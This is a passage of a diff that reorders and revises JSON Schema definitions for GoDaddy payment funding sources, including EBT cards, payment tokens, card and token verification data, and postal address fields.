- "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, "type": "string" }, - "cryptogram": { + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } - } + }, + "title": "Token Verification Data", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" + "description": "Discriminator type representing the type of verification data", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "Verification Data", + "type": "object" }, - "cardType": { - "type": "string", - "description": "Type of EBT card used", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] + "eVoucherApprovalCode": { + "description": "EVoucher Approval code if used with Electronic Voucher", + "maxLength": 6, + "minLength": 6, + "type": "string" }, "eVoucherSerial": { - "type": "string", - "minLength": 1, + "description": "EVoucher serial if used with Electronic Voucher", "maxLength": 15, - "description": "EVoucher serial if used with Electronic Voucher" - }, - "eVoucherApprovalCode": { - "type": "string", - "minLength": 6, - "maxLength": 6, - "description": "EVoucher Approval code if used with Electronic Voucher" + "minLength": 1, + "type": "string" } }, "required": [ "cardDetail", "cardType" - ] + ], + "title": "EBT Card", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/godaddy-payment-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy Payment Token", - "description": "GoDaddy Card-on-file Funding source", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", "description": "Payment Token Funding source", "properties": { "verificationData": { - "description": "Verification data", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", "description": "Verification data for the card used as funding source", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, "threeDSecureData": { "description": "3d secure data information", - "writeOnly": true, - "type": "object", "properties": { - "eci": { + "cryptogram": { "type": "string" }, - "cryptogram": { + "eci": { "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } + }, + "title": "Card Verification Data", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", "description": "Verification data for the token used as funding source", - "type": "object", "properties": { "billingAddress": { - "description": "Address for verification", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for 